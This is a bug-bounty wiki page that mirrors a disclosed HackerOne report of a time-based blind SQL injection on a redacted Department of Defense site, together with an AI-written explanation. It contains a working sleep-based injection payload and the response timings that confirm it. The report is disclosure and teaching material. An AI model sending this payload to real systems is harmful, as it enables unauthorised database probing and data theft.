Skip to content
SQL injection Disclosed report Intermediate

Blind Sql Injection https:/████████

The report claims a blind SQL injection vulnerability on a website, demonstrated by time delays that increase with the sleep value in the payload. An attacker could potentially bypass authentication, retrieve database contents, or execute OS commands.

codeslayer1337 Follow

Originally disclosed on HackerOne

  • Disclosed after 20 days

Description: found on the websitehttps://████████ weakness is vulnerable to a blind sql injection.

POC: https:/█████████/0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896 Tests Payload performed: 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z => 10.740 0'XOR(if(now()=sysdate(),sleep(2),0))XOR'Z => 2.714 0'XOR(if(now()=sysdate(),sleep(1),0))XOR'Z => 1.927

Impact

An attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

Best regards, CodeSlayer137

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

https:/██████/0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by codeslayer1337. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application inserts user input directly into an SQL query without proper parameterisation or escaping.

Impact

An attacker could bypass authentication and authorization, retrieve, modify, or delete database records, and under the right circumstances execute OS commands.

What the attacker needed

None

How it was found

  1. Send a request with a payload that includes a conditional sleep of 15 seconds.
  2. Observe a response delay of about 15.9 seconds.
  3. Repeat with shorter sleep values (10, 2, 1 seconds) and observe corresponding delays.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A blind SQL injection is a flaw where an attacker can ask the database true/false questions and infer answers from how long the site takes to respond. Here, the tester used a payload that makes the database wait for a specified number of seconds, and the response time matched the wait, showing the injection worked. This could let an attacker extract data or even run commands on the server.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by codeslayer1337

View all

7 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.